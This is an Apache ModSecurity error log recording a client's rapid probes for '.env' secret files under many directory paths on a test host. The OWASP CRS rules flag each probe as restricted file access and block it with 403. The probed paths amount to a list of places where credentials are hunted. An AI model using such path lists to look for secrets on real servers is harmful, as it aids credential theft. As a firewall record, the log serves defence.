[Thu Feb 26 01:03:06.556550 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2QAAAAQ&quot;]
[Thu Feb 26 01:03:06.556701 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/httpdocs/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2QAAAAQ&quot;]
[Thu Feb 26 01:03:06.578553 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldAAAAAI&quot;]
[Thu Feb 26 01:03:06.578826 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldAAAAAI&quot;]
[Thu Feb 26 01:03:06.579001 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldAAAAAI&quot;]
[Thu Feb 26 01:03:06.596776 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /huniv_migration/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2gAAAAQ&quot;]
[Thu Feb 26 01:03:06.596999 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2gAAAAQ&quot;]
[Thu Feb 26 01:03:06.597156 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/HUNIV_migration/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH2gAAAAQ&quot;]
[Thu Feb 26 01:03:06.611773 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldQAAAAI&quot;]
[Thu Feb 26 01:03:06.612036 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldQAAAAI&quot;]
[Thu Feb 26 01:03:06.612203 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjldQAAAAI&quot;]
[Thu Feb 26 01:03:06.656334 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icon/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3AAAAAQ&quot;]
[Thu Feb 26 01:03:06.656563 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3AAAAAQ&quot;]
[Thu Feb 26 01:03:06.656710 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icon/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3AAAAAQ&quot;]
[Thu Feb 26 01:03:06.705700 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /icons/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3QAAAAQ&quot;]
[Thu Feb 26 01:03:06.705944 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3QAAAAQ&quot;]
[Thu Feb 26 01:03:06.706101 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/icons/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3QAAAAQ&quot;]
[Thu Feb 26 01:03:06.706728 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjleAAAAAI&quot;]
[Thu Feb 26 01:03:06.707066 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjleAAAAAI&quot;]
[Thu Feb 26 01:03:06.707290 2026] [:error] [pid 2330790] [client 185.177.72.22:55998] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aZ-NuoCbt-ue5ARpbmjleAAAAAI&quot;]
[Thu Feb 26 01:03:06.750984 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ikiwiki/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3gAAAAQ&quot;]
[Thu Feb 26 01:03:06.751255 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3gAAAAQ&quot;]
[Thu Feb 26 01:03:06.751439 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ikiwiki/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3gAAAAQ&quot;]
[Thu Feb 26 01:03:06.797372 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /image_data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3wAAAAQ&quot;]
[Thu Feb 26 01:03:06.797633 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3wAAAAQ&quot;]
[Thu Feb 26 01:03:06.797799 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/image_data/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH3wAAAAQ&quot;]
[Thu Feb 26 01:03:06.833656 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /imagebord/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4AAAAAQ&quot;]
[Thu Feb 26 01:03:06.833953 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4AAAAAQ&quot;]
[Thu Feb 26 01:03:06.834170 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Imagebord/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4AAAAAQ&quot;]
[Thu Feb 26 01:03:06.877093 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /images/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4QAAAAQ&quot;]
[Thu Feb 26 01:03:06.877374 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4QAAAAQ&quot;]
[Thu Feb 26 01:03:06.877570 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/images/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4QAAAAQ&quot;]
[Thu Feb 26 01:03:06.956888 2026] [:error] [pid 2330792] [client 185.177.72.22:56010] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /img/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/img/.env&quot;] [unique_id &quot;aZ-Nujf0JOOqB-ib2UlH4gAAAAQ&quot;]
